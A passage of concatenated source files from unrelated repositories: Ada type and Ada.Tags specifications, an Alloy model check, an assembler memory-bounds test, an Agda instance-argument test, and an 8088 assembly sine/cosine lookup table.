-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR --
-- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
-- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED --
-- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR --
-- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF --
-- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING --
-- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS --
-- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
-- --
------------------------------------------------------------------------------
-- $Revision$ $Date$
------------------------------------------------------------------------------
with AMF.Internals.AMF_Links;
package AMF.Internals.Tables.AMF_Types is
-----------
-- Links --
-----------
-- Link can connect:
-- - single slot to single slot
-- - collection slot to single slot
-- - single slot to connetion slot
-- - connection slot to connection slot
-- - ? element and collection?
type Link_Kinds is
(L_None,
L_Single_Single,
L_Single_Multiple,
L_Multiple_Single,
L_Multiple_Multiple);
type Link_Record (Kind : Link_Kinds := L_None) is record
case Kind is
when L_None =>
null;
when L_Single_Single
| L_Single_Multiple
| L_Multiple_Single
| L_Multiple_Multiple
=>
Proxy : AMF.Internals.AMF_Links.AMF_Link_Proxy_Access;
Association : CMOF_Element;
First_Element : AMF_Element;
Second_Element : AMF_Element;
Next : AMF_Link;
-- Next link in the set of links. Set of links is one or more
-- links which destruction is atomic operation. It is implemented
-- as ring list.
end case;
end record;
-- type Link_Kinds is (L_None, L_Slot_Slot, L_Slot_Collection, L_Collection_Slot, L_Collection_Collection);
--
-- type Link_Record (Kind : Link_Kinds := L_None) is record
-- First_Element : Cmof_Element;
-- First_Property : Cmof_Element;
---- First_Collection : Collection_Of_CMOF_Element;
-- Second_Element : Cmof_Element;
-- Second_Property : Cmof_Element;
---- Second_Collection : Collection_Of_CMOF_Element;
--
-- case Kind is
-- when L_None =>
-- null;
--
-- when L_Slot_Slot | L_Slot_Collection =>
-- null;
--
-- when L_Collection_Slot | L_Collection_Collection =>
-- null;
---- First_Collection_Element : Collection_Element_Identifier;
---- Second_Collection_Element : Collection_Element_Identifier;
-- end case;
-- end record;
end AMF.Internals.Tables.AMF_Types;
|
alloy4fun_models/trashltl/models/16/H6f5Zsn3NHW9gKmF9.als | Kaixi26/org.alloytools.alloy | 0 | 4208 | open main
pred idH6f5Zsn3NHW9gKmF9_prop17 {
all f: File |always f in Trash implies always f' not in File and f' not in Trash
}
pred __repair { idH6f5Zsn3NHW9gKmF9_prop17 }
check __repair { idH6f5Zsn3NHW9gKmF9_prop17 <=> prop17o } |
unit_tests/static-tests/common/memory.oob3.error.asm | undisbeliever/untech-engine | 34 | 27378 | <gh_stars>10-100
// Allocate block outside the ROM_SIZE area
define MEMORY_MAP = HIROM
define ROM_SIZE = 16
include "../../../src/common/memory.inc"
createDataBlock(data, 0xe00000, 0xe0ffff) // ERROR
|
ada-tags.ads | mgrojo/adalib | 15 | 19986 | <reponame>mgrojo/adalib<gh_stars>10-100
-- Standard Ada library specification
-- Copyright (c) 2003-2018 <NAME> <<EMAIL>>
-- Copyright (c) 2004-2016 AXE Consultants
-- Copyright (c) 2004, 2005, 2006 Ada-Europe
-- Copyright (c) 2000 The MITRE Corporation, Inc.
-- Copyright (c) 1992, 1993, 1994, 1995 Intermetrics, Inc.
-- SPDX-License-Identifier: BSD-3-Clause and LicenseRef-AdaReferenceManual
---------------------------------------------------------------------------
package Ada.Tags is
pragma Preelaborate(Tags);
type Tag is private;
pragma Preelaborable_Initialization(Tag);
No_Tag : constant Tag;
function Expanded_Name (T : Tag) return String;
function Wide_Expanded_Name (T : Tag) return Wide_String;
function Wide_Wide_Expanded_Name (T : Tag) return Wide_Wide_String;
function External_Tag (T : Tag) return String;
function Internal_Tag (External : String) return Tag;
function Descendant_Tag (External : String; Ancestor : Tag) return Tag;
function Is_Descendant_At_Same_Level
(Descendant, Ancestor : Tag)
return Boolean;
function Parent_Tag (T : Tag) return Tag;
type Tag_Array is array (Positive range <>) of Tag;
function Interface_Ancestor_Tags (T : Tag) return Tag_Array;
Tag_Error : exception;
private
pragma Import (Ada, Tag);
pragma Import (Ada, No_Tag);
end Ada.Tags;
|
test/Succeed/Issue4166.agda | cagix/agda | 1,989 | 15405 | <filename>test/Succeed/Issue4166.agda
open import Agda.Builtin.Bool
open import Issue4166.Import {b = true} as A′
it : ⦃ Bool ⦄ → Bool
it ⦃ b ⦄ = b
b : Bool
b = it
|
8088/demo/cga/span/asm/halfsine.asm | reenigne/reenigne | 92 | 241570 | <reponame>reenigne/reenigne<filename>8088/demo/cga/span/asm/halfsine.asm
halfSine:
dw 0x0000, 0x0000, 0x0000, 0x0001, 0x0001, 0x0001, 0x0002, 0x0002
dw 0x0003, 0x0003, 0x0003, 0x0004, 0x0004, 0x0005, 0x0005, 0x0005
dw 0x0006, 0x0006, 0x0007, 0x0007, 0x0007, 0x0008, 0x0008, 0x0009
dw 0x0009, 0x0009, 0x000a, 0x000a, 0x000a, 0x000b, 0x000b, 0x000c
dw 0x000c, 0x000c, 0x000d, 0x000d, 0x000e, 0x000e, 0x000e, 0x000f
dw 0x000f, 0x0010, 0x0010, 0x0010, 0x0011, 0x0011, 0x0012, 0x0012
dw 0x0012, 0x0013, 0x0013, 0x0013, 0x0014, 0x0014, 0x0015, 0x0015
dw 0x0015, 0x0016, 0x0016, 0x0017, 0x0017, 0x0017, 0x0018, 0x0018
dw 0x0018, 0x0019, 0x0019, 0x001a, 0x001a, 0x001a, 0x001b, 0x001b
dw 0x001c, 0x001c, 0x001c, 0x001d, 0x001d, 0x001d, 0x001e, 0x001e
dw 0x001f, 0x001f, 0x001f, 0x0020, 0x0020, 0x0021, 0x0021, 0x0021
dw 0x0022, 0x0022, 0x0022, 0x0023, 0x0023, 0x0024, 0x0024, 0x0024
dw 0x0025, 0x0025, 0x0025, 0x0026, 0x0026, 0x0027, 0x0027, 0x0027
dw 0x0028, 0x0028, 0x0028, 0x0029, 0x0029, 0x002a, 0x002a, 0x002a
dw 0x002b, 0x002b, 0x002b, 0x002c, 0x002c, 0x002c, 0x002d, 0x002d
dw 0x002e, 0x002e, 0x002e, 0x002f, 0x002f, 0x002f, 0x0030, 0x0030
dw 0x0030, 0x0031, 0x0031, 0x0032, 0x0032, 0x0032, 0x0033, 0x0033
dw 0x0033, 0x0034, 0x0034, 0x0034, 0x0035, 0x0035, 0x0036, 0x0036
dw 0x0036, 0x0037, 0x0037, 0x0037, 0x0038, 0x0038, 0x0038, 0x0039
dw 0x0039, 0x0039, 0x003a, 0x003a, 0x003a, 0x003b, 0x003b, 0x003b
dw 0x003c, 0x003c, 0x003d, 0x003d, 0x003d, 0x003e, 0x003e, 0x003e
dw 0x003f, 0x003f, 0x003f, 0x0040, 0x0040, 0x0040, 0x0041, 0x0041
dw 0x0041, 0x0042, 0x0042, 0x0042, 0x0043, 0x0043, 0x0043, 0x0044
dw 0x0044, 0x0044, 0x0045, 0x0045, 0x0045, 0x0046, 0x0046, 0x0046
dw 0x0047, 0x0047, 0x0047, 0x0048, 0x0048, 0x0048, 0x0049, 0x0049
dw 0x0049, 0x004a, 0x004a, 0x004a, 0x004a, 0x004b, 0x004b, 0x004b
dw 0x004c, 0x004c, 0x004c, 0x004d, 0x004d, 0x004d, 0x004e, 0x004e
dw 0x004e, 0x004f, 0x004f, 0x004f, 0x004f, 0x0050, 0x0050, 0x0050
dw 0x0051, 0x0051, 0x0051, 0x0052, 0x0052, 0x0052, 0x0053, 0x0053
dw 0x0053, 0x0053, 0x0054, 0x0054, 0x0054, 0x0055, 0x0055, 0x0055
dw 0x0055, 0x0056, 0x0056, 0x0056, 0x0057, 0x0057, 0x0057, 0x0057
dw 0x0058, 0x0058, 0x0058, 0x0059, 0x0059, 0x0059, 0x0059, 0x005a
dw 0x005a, 0x005a, 0x005b, 0x005b, 0x005b, 0x005b, 0x005c, 0x005c
dw 0x005c, 0x005c, 0x005d, 0x005d, 0x005d, 0x005e, 0x005e, 0x005e
dw 0x005e, 0x005f, 0x005f, 0x005f, 0x005f, 0x0060, 0x0060, 0x0060
dw 0x0060, 0x0061, 0x0061, 0x0061, 0x0061, 0x0062, 0x0062, 0x0062
dw 0x0062, 0x0063, 0x0063, 0x0063, 0x0063, 0x0064, 0x0064, 0x0064
dw 0x0064, 0x0065, 0x0065, 0x0065, 0x0065, 0x0066, 0x0066, 0x0066
dw 0x0066, 0x0067, 0x0067, 0x0067, 0x0067, 0x0067, 0x0068, 0x0068
dw 0x0068, 0x0068, 0x0069, 0x0069, 0x0069, 0x0069, 0x0069, 0x006a
dw 0x006a, 0x006a, 0x006a, 0x006b, 0x006b, 0x006b, 0x006b, 0x006b
dw 0x006c, 0x006c, 0x006c, 0x006c, 0x006c, 0x006d, 0x006d, 0x006d
dw 0x006d, 0x006d, 0x006e, 0x006e, 0x006e, 0x006e, 0x006e, 0x006f
dw 0x006f, 0x006f, 0x006f, 0x006f, 0x0070, 0x0070, 0x0070, 0x0070
dw 0x0070, 0x0071, 0x0071, 0x0071, 0x0071, 0x0071, 0x0071, 0x0072
dw 0x0072, 0x0072, 0x0072, 0x0072, 0x0073, 0x0073, 0x0073, 0x0073
dw 0x0073, 0x0073, 0x0074, 0x0074, 0x0074, 0x0074, 0x0074, 0x0074
dw 0x0075, 0x0075, 0x0075, 0x0075, 0x0075, 0x0075, 0x0075, 0x0076
dw 0x0076, 0x0076, 0x0076, 0x0076, 0x0076, 0x0076, 0x0077, 0x0077
dw 0x0077, 0x0077, 0x0077, 0x0077, 0x0077, 0x0078, 0x0078, 0x0078
dw 0x0078, 0x0078, 0x0078, 0x0078, 0x0079, 0x0079, 0x0079, 0x0079
dw 0x0079, 0x0079, 0x0079, 0x0079, 0x007a, 0x007a, 0x007a, 0x007a
dw 0x007a, 0x007a, 0x007a, 0x007a, 0x007a, 0x007b, 0x007b, 0x007b
dw 0x007b, 0x007b, 0x007b, 0x007b, 0x007b, 0x007b, 0x007b, 0x007c
dw 0x007c, 0x007c, 0x007c, 0x007c, 0x007c, 0x007c, 0x007c, 0x007c
dw 0x007c, 0x007c, 0x007d, 0x007d, 0x007d, 0x007d, 0x007d, 0x007d
dw 0x007d, 0x007d, 0x007d, 0x007d, 0x007d, 0x007d, 0x007d, 0x007e
dw 0x007e, 0x007e, 0x007e, 0x007e, 0x007e, 0x007e, 0x007e, 0x007e
dw 0x007e, 0x007e, 0x007e, 0x007e, 0x007e, 0x007e, 0x007e, 0x007e
dw 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f
dw 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f
dw 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f
dw 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f
dw 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f
halfCosine:
dw 0x0080, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f
dw 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f
dw 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f
dw 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f
dw 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f, 0x007f
dw 0x007f, 0x007e, 0x007e, 0x007e, 0x007e, 0x007e, 0x007e, 0x007e
dw 0x007e, 0x007e, 0x007e, 0x007e, 0x007e, 0x007e, 0x007e, 0x007e
dw 0x007e, 0x007e, 0x007d, 0x007d, 0x007d, 0x007d, 0x007d, 0x007d
dw 0x007d, 0x007d, 0x007d, 0x007d, 0x007d, 0x007d, 0x007d, 0x007c
dw 0x007c, 0x007c, 0x007c, 0x007c, 0x007c, 0x007c, 0x007c, 0x007c
dw 0x007c, 0x007c, 0x007b, 0x007b, 0x007b, 0x007b, 0x007b, 0x007b
dw 0x007b, 0x007b, 0x007b, 0x007b, 0x007a, 0x007a, 0x007a, 0x007a
dw 0x007a, 0x007a, 0x007a, 0x007a, 0x007a, 0x0079, 0x0079, 0x0079
dw 0x0079, 0x0079, 0x0079, 0x0079, 0x0079, 0x0078, 0x0078, 0x0078
dw 0x0078, 0x0078, 0x0078, 0x0078, 0x0077, 0x0077, 0x0077, 0x0077
dw 0x0077, 0x0077, 0x0077, 0x0076, 0x0076, 0x0076, 0x0076, 0x0076
dw 0x0076, 0x0076, 0x0075, 0x0075, 0x0075, 0x0075, 0x0075, 0x0075
dw 0x0075, 0x0074, 0x0074, 0x0074, 0x0074, 0x0074, 0x0074, 0x0073
dw 0x0073, 0x0073, 0x0073, 0x0073, 0x0073, 0x0072, 0x0072, 0x0072
dw 0x0072, 0x0072, 0x0071, 0x0071, 0x0071, 0x0071, 0x0071, 0x0071
dw 0x0070, 0x0070, 0x0070, 0x0070, 0x0070, 0x006f, 0x006f, 0x006f
dw 0x006f, 0x006f, 0x006e, 0x006e, 0x006e, 0x006e, 0x006e, 0x006d
dw 0x006d, 0x006d, 0x006d, 0x006d, 0x006c, 0x006c, 0x006c, 0x006c
dw 0x006c, 0x006b, 0x006b, 0x006b, 0x006b, 0x006b, 0x006a, 0x006a
dw 0x006a, 0x006a, 0x0069, 0x0069, 0x0069, 0x0069, 0x0069, 0x0068
dw 0x0068, 0x0068, 0x0068, 0x0067, 0x0067, 0x0067, 0x0067, 0x0067
dw 0x0066, 0x0066, 0x0066, 0x0066, 0x0065, 0x0065, 0x0065, 0x0065
dw 0x0064, 0x0064, 0x0064, 0x0064, 0x0063, 0x0063, 0x0063, 0x0063
dw 0x0062, 0x0062, 0x0062, 0x0062, 0x0061, 0x0061, 0x0061, 0x0061
dw 0x0060, 0x0060, 0x0060, 0x0060, 0x005f, 0x005f, 0x005f, 0x005f
dw 0x005e, 0x005e, 0x005e, 0x005e, 0x005d, 0x005d, 0x005d, 0x005c
dw 0x005c, 0x005c, 0x005c, 0x005b, 0x005b, 0x005b, 0x005b, 0x005a
dw 0x005a, 0x005a, 0x0059, 0x0059, 0x0059, 0x0059, 0x0058, 0x0058
dw 0x0058, 0x0057, 0x0057, 0x0057, 0x0057, 0x0056, 0x0056, 0x0056
dw 0x0055, 0x0055, 0x0055, 0x0055, 0x0054, 0x0054, 0x0054, 0x0053
dw 0x0053, 0x0053, 0x0053, 0x0052, 0x0052, 0x0052, 0x0051, 0x0051
dw 0x0051, 0x0050, 0x0050, 0x0050, 0x004f, 0x004f, 0x004f, 0x004f
dw 0x004e, 0x004e, 0x004e, 0x004d, 0x004d, 0x004d, 0x004c, 0x004c
dw 0x004c, 0x004b, 0x004b, 0x004b, 0x004a, 0x004a, 0x004a, 0x004a
dw 0x0049, 0x0049, 0x0049, 0x0048, 0x0048, 0x0048, 0x0047, 0x0047
dw 0x0047, 0x0046, 0x0046, 0x0046, 0x0045, 0x0045, 0x0045, 0x0044
dw 0x0044, 0x0044, 0x0043, 0x0043, 0x0043, 0x0042, 0x0042, 0x0042
dw 0x0041, 0x0041, 0x0041, 0x0040, 0x0040, 0x0040, 0x003f, 0x003f
dw 0x003f, 0x003e, 0x003e, 0x003e, 0x003d, 0x003d, 0x003d, 0x003c
dw 0x003c, 0x003b, 0x003b, 0x003b, 0x003a, 0x003a, 0x003a, 0x0039
dw 0x0039, 0x0039, 0x0038, 0x0038, 0x0038, 0x0037, 0x0037, 0x0037
dw 0x0036, 0x0036, 0x0036, 0x0035, 0x0035, 0x0034, 0x0034, 0x0034
dw 0x0033, 0x0033, 0x0033, 0x0032, 0x0032, 0x0032, 0x0031, 0x0031
dw 0x0030, 0x0030, 0x0030, 0x002f, 0x002f, 0x002f, 0x002e, 0x002e
dw 0x002e, 0x002d, 0x002d, 0x002c, 0x002c, 0x002c, 0x002b, 0x002b
dw 0x002b, 0x002a, 0x002a, 0x002a, 0x0029, 0x0029, 0x0028, 0x0028
dw 0x0028, 0x0027, 0x0027, 0x0027, 0x0026, 0x0026, 0x0025, 0x0025
dw 0x0025, 0x0024, 0x0024, 0x0024, 0x0023, 0x0023, 0x0022, 0x0022
dw 0x0022, 0x0021, 0x0021, 0x0021, 0x0020, 0x0020, 0x001f, 0x001f
dw 0x001f, 0x001e, 0x001e, 0x001d, 0x001d, 0x001d, 0x001c, 0x001c
dw 0x001c, 0x001b, 0x001b, 0x001a, 0x001a, 0x001a, 0x0019, 0x0019
dw 0x0018, 0x0018, 0x0018, 0x0017, 0x0017, 0x0017, 0x0016, 0x0016
dw 0x0015, 0x0015, 0x0015, 0x0014, 0x0014, 0x0013, 0x0013, 0x0013
dw 0x0012, 0x0012, 0x0012, 0x0011, 0x0011, 0x0010, 0x0010, 0x0010
dw 0x000f, 0x000f, 0x000e, 0x000e, 0x000e, 0x000d, 0x000d, 0x000c
dw 0x000c, 0x000c, 0x000b, 0x000b, 0x000a, 0x000a, 0x000a, 0x0009
dw 0x0009, 0x0009, 0x0008, 0x0008, 0x0007, 0x0007, 0x0007, 0x0006
dw 0x0006, 0x0005, 0x0005, 0x0005, 0x0004, 0x0004, 0x0003, 0x0003
dw 0x0003, 0x0002, 0x0002, 0x0001, 0x0001, 0x0001, 0x0000, 0x0000
dw 0x0000, 0x0000, 0x0000, 0xffff, 0xffff, 0xffff, 0xfffe, 0xfffe
dw 0xfffd, 0xfffd, 0xfffd, 0xfffc, 0xfffc, 0xfffb, 0xfffb, 0xfffb
dw 0xfffa, 0xfffa, 0xfff9, 0xfff9, 0xfff9, 0xfff8, 0xfff8, 0xfff7
dw 0xfff7, 0xfff7, 0xfff6, 0xfff6, 0xfff6, 0xfff5, 0xfff5, 0xfff4
dw 0xfff4, 0xfff4, 0xfff3, 0xfff3, 0xfff2, 0xfff2, 0xfff2, 0xfff1
dw 0xfff1, 0xfff0, 0xfff0, 0xfff0, 0xffef, 0xffef, 0xffee, 0xffee
dw 0xffee, 0xffed, 0xffed, 0xffed, 0xffec, 0xffec, 0xffeb, 0xffeb
dw 0xffeb, 0xffea, 0xffea, 0xffe9, 0xffe9, 0xffe9, 0xffe8, 0xffe8
dw 0xffe8, 0xffe7, 0xffe7, 0xffe6, 0xffe6, 0xffe6, 0xffe5, 0xffe5
dw 0xffe4, 0xffe4, 0xffe4, 0xffe3, 0xffe3, 0xffe3, 0xffe2, 0xffe2
dw 0xffe1, 0xffe1, 0xffe1, 0xffe0, 0xffe0, 0xffdf, 0xffdf, 0xffdf
dw 0xffde, 0xffde, 0xffde, 0xffdd, 0xffdd, 0xffdc, 0xffdc, 0xffdc
dw 0xffdb, 0xffdb, 0xffdb, 0xffda, 0xffda, 0xffd9, 0xffd9, 0xffd9
dw 0xffd8, 0xffd8, 0xffd8, 0xffd7, 0xffd7, 0xffd6, 0xffd6, 0xffd6
dw 0xffd5, 0xffd5, 0xffd5, 0xffd4, 0xffd4, 0xffd4, 0xffd3, 0xffd3
dw 0xffd2, 0xffd2, 0xffd2, 0xffd1, 0xffd1, 0xffd1, 0xffd0, 0xffd0
dw 0xffd0, 0xffcf, 0xffcf, 0xffce, 0xffce, 0xffce, 0xffcd, 0xffcd
dw 0xffcd, 0xffcc, 0xffcc, 0xffcc, 0xffcb, 0xffcb, 0xffca, 0xffca
dw 0xffca, 0xffc9, 0xffc9, 0xffc9, 0xffc8, 0xffc8, 0xffc8, 0xffc7
dw 0xffc7, 0xffc7, 0xffc6, 0xffc6, 0xffc6, 0xffc5, 0xffc5, 0xffc5
dw 0xffc4, 0xffc4, 0xffc3, 0xffc3, 0xffc3, 0xffc2, 0xffc2, 0xffc2
dw 0xffc1, 0xffc1, 0xffc1, 0xffc0, 0xffc0, 0xffc0, 0xffbf, 0xffbf
dw 0xffbf, 0xffbe, 0xffbe, 0xffbe, 0xffbd, 0xffbd, 0xffbd, 0xffbc
dw 0xffbc, 0xffbc, 0xffbb, 0xffbb, 0xffbb, 0xffba, 0xffba, 0xffba
dw 0xffb9, 0xffb9, 0xffb9, 0xffb8, 0xffb8, 0xffb8, 0xffb7, 0xffb7
dw 0xffb7, 0xffb6, 0xffb6, 0xffb6, 0xffb6, 0xffb5, 0xffb5, 0xffb5
dw 0xffb4, 0xffb4, 0xffb4, 0xffb3, 0xffb3, 0xffb3, 0xffb2, 0xffb2
dw 0xffb2, 0xffb1, 0xffb1, 0xffb1, 0xffb1, 0xffb0, 0xffb0, 0xffb0
dw 0xffaf, 0xffaf, 0xffaf, 0xffae, 0xffae, 0xffae, 0xffad, 0xffad
dw 0xffad, 0xffad, 0xffac, 0xffac, 0xffac, 0xffab, 0xffab, 0xffab
dw 0xffab, 0xffaa, 0xffaa, 0xffaa, 0xffa9, 0xffa9, 0xffa9, 0xffa9
dw 0xffa8, 0xffa8, 0xffa8, 0xffa7, 0xffa7, 0xffa7, 0xffa7, 0xffa6
dw 0xffa6, 0xffa6, 0xffa5, 0xffa5, 0xffa5, 0xffa5, 0xffa4, 0xffa4
dw 0xffa4, 0xffa4, 0xffa3, 0xffa3, 0xffa3, 0xffa2, 0xffa2, 0xffa2
dw 0xffa2, 0xffa1, 0xffa1, 0xffa1, 0xffa1, 0xffa0, 0xffa0, 0xffa0
dw 0xffa0, 0xff9f, 0xff9f, 0xff9f, 0xff9f, 0xff9e, 0xff9e, 0xff9e
dw 0xff9e, 0xff9d, 0xff9d, 0xff9d, 0xff9d, 0xff9c, 0xff9c, 0xff9c
dw 0xff9c, 0xff9b, 0xff9b, 0xff9b, 0xff9b, 0xff9a, 0xff9a, 0xff9a
dw 0xff9a, 0xff99, 0xff99, 0xff99, 0xff99, 0xff99, 0xff98, 0xff98
dw 0xff98, 0xff98, 0xff97, 0xff97, 0xff97, 0xff97, 0xff97, 0xff96
dw 0xff96, 0xff96, 0xff96, 0xff95, 0xff95, 0xff95, 0xff95, 0xff95
dw 0xff94, 0xff94, 0xff94, 0xff94, 0xff94, 0xff93, 0xff93, 0xff93
dw 0xff93, 0xff93, 0xff92, 0xff92, 0xff92, 0xff92, 0xff92, 0xff91
dw 0xff91, 0xff91, 0xff91, 0xff91, 0xff90, 0xff90, 0xff90, 0xff90
dw 0xff90, 0xff8f, 0xff8f, 0xff8f, 0xff8f, 0xff8f, 0xff8f, 0xff8e
dw 0xff8e, 0xff8e, 0xff8e, 0xff8e, 0xff8d, 0xff8d, 0xff8d, 0xff8d
dw 0xff8d, 0xff8d, 0xff8c, 0xff8c, 0xff8c, 0xff8c, 0xff8c, 0xff8c
dw 0xff8b, 0xff8b, 0xff8b, 0xff8b, 0xff8b, 0xff8b, 0xff8b, 0xff8a
dw 0xff8a, 0xff8a, 0xff8a, 0xff8a, 0xff8a, 0xff8a, 0xff89, 0xff89
dw 0xff89, 0xff89, 0xff89, 0xff89, 0xff89, 0xff88, 0xff88, 0xff88
dw 0xff88, 0xff88, 0xff88, 0xff88, 0xff87, 0xff87, 0xff87, 0xff87
dw 0xff87, 0xff87, 0xff87, 0xff87, 0xff86, 0xff86, 0xff86, 0xff86
dw 0xff86, 0xff86, 0xff86, 0xff86, 0xff86, 0xff85, 0xff85, 0xff85
dw 0xff85, 0xff85, 0xff85, 0xff85, 0xff85, 0xff85, 0xff85, 0xff84
dw 0xff84, 0xff84, 0xff84, 0xff84, 0xff84, 0xff84, 0xff84, 0xff84
dw 0xff84, 0xff84, 0xff83, 0xff83, 0xff83, 0xff83, 0xff83, 0xff83
dw 0xff83, 0xff83, 0xff83, 0xff83, 0xff83, 0xff83, 0xff83, 0xff82
dw 0xff82, 0xff82, 0xff82, 0xff82, 0xff82, 0xff82, 0xff82, 0xff82
dw 0xff82, 0xff82, 0xff82, 0xff82, 0xff82, 0xff82, 0xff82, 0xff82
dw 0xff81, 0xff81, 0xff81, 0xff81, 0xff81, 0xff81, 0xff81, 0xff81
dw 0xff81, 0xff81, 0xff81, 0xff81, 0xff81, 0xff81, 0xff81, 0xff81
dw 0xff81, 0xff81, 0xff81, 0xff81, 0xff81, 0xff81, 0xff81, 0xff81
dw 0xff81, 0xff81, 0xff81, 0xff81, 0xff81, 0xff81, 0xff81, 0xff81
dw 0xff81, 0xff81, 0xff81, 0xff81, 0xff81, 0xff81, 0xff81, 0xff81
dw 0xff80, 0xff81, 0xff81, 0xff81, 0xff81, 0xff81, 0xff81, 0xff81
dw 0xff81, 0xff81, 0xff81, 0xff81, 0xff81, 0xff81, 0xff81, 0xff81
dw 0xff81, 0xff81, 0xff81, 0xff81, 0xff81, 0xff81, 0xff81, 0xff81
dw 0xff81, 0xff81, 0xff81, 0xff81, 0xff81, 0xff81, 0xff81, 0xff81
dw 0xff81, 0xff81, 0xff81, 0xff81, 0xff81, 0xff81, 0xff81, 0xff81
dw 0xff81, 0xff82, 0xff82, 0xff82, 0xff82, 0xff82, 0xff82, 0xff82
dw 0xff82, 0xff82, 0xff82, 0xff82, 0xff82, 0xff82, 0xff82, 0xff82
dw 0xff82, 0xff82, 0xff83, 0xff83, 0xff83, 0xff83, 0xff83, 0xff83
dw 0xff83, 0xff83, 0xff83, 0xff83, 0xff83, 0xff83, 0xff83, 0xff84
dw 0xff84, 0xff84, 0xff84, 0xff84, 0xff84, 0xff84, 0xff84, 0xff84
dw 0xff84, 0xff84, 0xff85, 0xff85, 0xff85, 0xff85, 0xff85, 0xff85
dw 0xff85, 0xff85, 0xff85, 0xff85, 0xff86, 0xff86, 0xff86, 0xff86
dw 0xff86, 0xff86, 0xff86, 0xff86, 0xff86, 0xff87, 0xff87, 0xff87
dw 0xff87, 0xff87, 0xff87, 0xff87, 0xff87, 0xff88, 0xff88, 0xff88
dw 0xff88, 0xff88, 0xff88, 0xff88, 0xff89, 0xff89, 0xff89, 0xff89
dw 0xff89, 0xff89, 0xff89, 0xff8a, 0xff8a, 0xff8a, 0xff8a, 0xff8a
dw 0xff8a, 0xff8a, 0xff8b, 0xff8b, 0xff8b, 0xff8b, 0xff8b, 0xff8b
dw 0xff8b, 0xff8c, 0xff8c, 0xff8c, 0xff8c, 0xff8c, 0xff8c, 0xff8d
dw 0xff8d, 0xff8d, 0xff8d, 0xff8d, 0xff8d, 0xff8e, 0xff8e, 0xff8e
dw 0xff8e, 0xff8e, 0xff8f, 0xff8f, 0xff8f, 0xff8f, 0xff8f, 0xff8f
dw 0xff90, 0xff90, 0xff90, 0xff90, 0xff90, 0xff91, 0xff91, 0xff91
dw 0xff91, 0xff91, 0xff92, 0xff92, 0xff92, 0xff92, 0xff92, 0xff93
dw 0xff93, 0xff93, 0xff93, 0xff93, 0xff94, 0xff94, 0xff94, 0xff94
dw 0xff94, 0xff95, 0xff95, 0xff95, 0xff95, 0xff95, 0xff96, 0xff96
dw 0xff96, 0xff96, 0xff97, 0xff97, 0xff97, 0xff97, 0xff97, 0xff98
dw 0xff98, 0xff98, 0xff98, 0xff99, 0xff99, 0xff99, 0xff99, 0xff99
dw 0xff9a, 0xff9a, 0xff9a, 0xff9a, 0xff9b, 0xff9b, 0xff9b, 0xff9b
dw 0xff9c, 0xff9c, 0xff9c, 0xff9c, 0xff9d, 0xff9d, 0xff9d, 0xff9d
dw 0xff9e, 0xff9e, 0xff9e, 0xff9e, 0xff9f, 0xff9f, 0xff9f, 0xff9f
dw 0xffa0, 0xffa0, 0xffa0, 0xffa0, 0xffa1, 0xffa1, 0xffa1, 0xffa1
dw 0xffa2, 0xffa2, 0xffa2, 0xffa2, 0xffa3, 0xffa3, 0xffa3, 0xffa4
dw 0xffa4, 0xffa4, 0xffa4, 0xffa5, 0xffa5, 0xffa5, 0xffa5, 0xffa6
dw 0xffa6, 0xffa6, 0xffa7, 0xffa7, 0xffa7, 0xffa7, 0xffa8, 0xffa8
dw 0xffa8, 0xffa9, 0xffa9, 0xffa9, 0xffa9, 0xffaa, 0xffaa, 0xffaa
dw 0xffab, 0xffab, 0xffab, 0xffab, 0xffac, 0xffac, 0xffac, 0xffad
dw 0xffad, 0xffad, 0xffad, 0xffae, 0xffae, 0xffae, 0xffaf, 0xffaf
dw 0xffaf, 0xffb0, 0xffb0, 0xffb0, 0xffb1, 0xffb1, 0xffb1, 0xffb1
dw 0xffb2, 0xffb2, 0xffb2, 0xffb3, 0xffb3, 0xffb3, 0xffb4, 0xffb4
dw 0xffb4, 0xffb5, 0xffb5, 0xffb5, 0xffb6, 0xffb6, 0xffb6, 0xffb6
dw 0xffb7, 0xffb7, 0xffb7, 0xffb8, 0xffb8, 0xffb8, 0xffb9, 0xffb9
dw 0xffb9, 0xffba, 0xffba, 0xffba, 0xffbb, 0xffbb, 0xffbb, 0xffbc
dw 0xffbc, 0xffbc, 0xffbd, 0xffbd, 0xffbd, 0xffbe, 0xffbe, 0xffbe
dw 0xffbf, 0xffbf, 0xffbf, 0xffc0, 0xffc0, 0xffc0, 0xffc1, 0xffc1
dw 0xffc1, 0xffc2, 0xffc2, 0xffc2, 0xffc3, 0xffc3, 0xffc3, 0xffc4
dw 0xffc4, 0xffc5, 0xffc5, 0xffc5, 0xffc6, 0xffc6, 0xffc6, 0xffc7
dw 0xffc7, 0xffc7, 0xffc8, 0xffc8, 0xffc8, 0xffc9, 0xffc9, 0xffc9
